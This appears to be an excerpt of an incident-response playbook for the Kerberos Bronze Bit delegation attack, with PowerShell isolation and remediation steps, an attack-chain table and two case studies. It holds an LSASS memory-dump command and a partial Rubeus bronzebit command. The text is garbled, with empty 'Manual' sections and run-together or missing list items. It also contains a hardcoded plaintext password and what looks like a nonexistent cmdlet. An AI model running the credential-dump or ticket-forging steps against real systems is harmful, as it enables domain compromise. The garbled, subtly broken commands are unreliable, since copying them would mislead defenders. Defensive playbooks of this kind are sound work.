1. Isolate (Immediate - 0-5 minutes):
Command (Disconnect Affected Machine):
# Disable network adapter on compromised workstation
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Or via Group Policy (isolate entire subnet)
Set-NetFirewallProfile -Profile Domain -Enabled True
New-NetFirewallRule -DisplayName "Block Outbound" -Direction Outbound -Action Block
Manual (Azure VM):
2. Collect Evidence (1-30 minutes):
Command (Export Security Event Log):
# Export all Kerberos events from past 24 hours
$StartTime = (Get-Date).AddDays(-1)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769 or EventID=4768 or EventID=5136] and System[TimeCreated[@SystemTime >= '$($StartTime.ToUniversalTime().ToString('o'))']]]" | Export-Csv -Path "C:\Evidence\Kerberos_Events.csv"
# Capture memory dump of LSASS (requires Administrator)
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
# Export PowerShell history
Copy-Item "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -Destination "C:\Evidence\"
Manual (Event Viewer):
C:\Evidence\Security.evtx3. Remediate (30 minutes - 2 hours):
Command (Reset Service Account Password):
# Change password for compromised service account (forces new Kerberos hash)
Set-ADAccountPassword -Identity svc_WebServer -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ssw0rd!123456" -Force)
# Force replication to all DCs
Replicate-ADObject -Identity svc_WebServer -ErrorAction SilentlyContinue
Command (Revoke Delegation Rights):
# Remove delegation for compromised account
Set-ADUser -Identity svc_WebServer -Clear msDS-AllowedToDelegateTo
# Or via computer account:
Set-ADComputer -Identity SERVER01 -Clear msDS-AllowedToDelegateTo
Command (Reset KRBTGT Password - Critical):
# Change KRBTGT password twice (invalidates all existing tickets)
# First change:
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$(New-Guid)" -Force)
# Wait 12-24 hours for replication
Start-Sleep -Seconds 86400
# Second change (invalidates both old and new hashes):
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$(New-Guid)" -Force)
Manual (Disable Service Account):
4. Recover (2-24 hours):
Command (Monitor for Reinfection):
# Monitor for new Bronze Bit attacks after remediation
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4769)]]" -MaxEvents 100 |
Where-Object {$_.Message -match "s4u"} |
Select-Object TimeCreated, Message
Manual (Restore from Backup):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView | Enumerate delegation configurations and identify target accounts |
| 2 | Credential Access | [CA-DUMP-001] LSASS Dump / Mimikatz | Extract NTLM hashes of compromised service accounts |
| 3 | Credential Access | [CA-KERB-001] Kerberoasting | Alternatively, crack service ticket hashes obtained via reconnaissance |
| 4 | Credential Access | [CA-KERB-008] Bronze Bit (Current Step) | Forge/modify Kerberos tickets to impersonate Protected Users |
| 5 | Lateral Movement | [LM-PSexec] Pass-the-Hash / Pass-the-Ticket | Use forged tickets to move to target service/server |
| 6 | Persistence | [PERSIST-KERBEROS] Golden Ticket | Create long-lived forged TGT for sustained access |
| 7 | Impact | [IMPACT-EXFIL] Data Exfiltration | Read sensitive files as impersonated high-privilege user |
APT Group: Unknown (vulnerability disclosed December 2020)
Target: Financial Institution (EU-based)
Timeline: October 2020 - March 2021
Technique Status: Actively exploited during patch management gap (pre-February 2021)
Attack Flow:
MSExchangeServiceHost) has constrained delegation configured to allow access to other internal servicesMSExchangeServiceHost using Mimikatz/bronzebit flag to forge forged admin ticketImpact:
Detection Evasion:
Reference: Microsoft Security Advisory - CVE-2020-17049
Scenario: Red Team Exercise
Target: Mid-size Technology Company (USA)
Timeline: 2023 (post-patch environment - attack failed)
Technique Status: Blocked by KB5009645 (February 2021+ patch)
Attack Attempt:
svc_AppServer)Rubeus.exe s4u /bronzebit...KRB_AP_ERR_MODIFIED errorKey Learning:
Detection Outcome: